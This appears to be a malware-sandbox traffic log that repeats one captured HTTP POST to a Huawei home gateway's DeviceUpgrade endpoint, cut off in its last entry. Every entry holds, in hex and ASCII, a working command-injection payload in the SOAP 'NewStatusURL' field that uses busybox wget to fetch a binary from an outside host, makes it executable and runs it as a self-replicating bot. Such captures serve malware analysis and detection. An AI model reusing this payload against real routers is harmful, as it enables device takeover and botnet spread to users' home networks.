Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g http://nextoneup.shop/ -l /tmp/.hiroshima -r /mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima 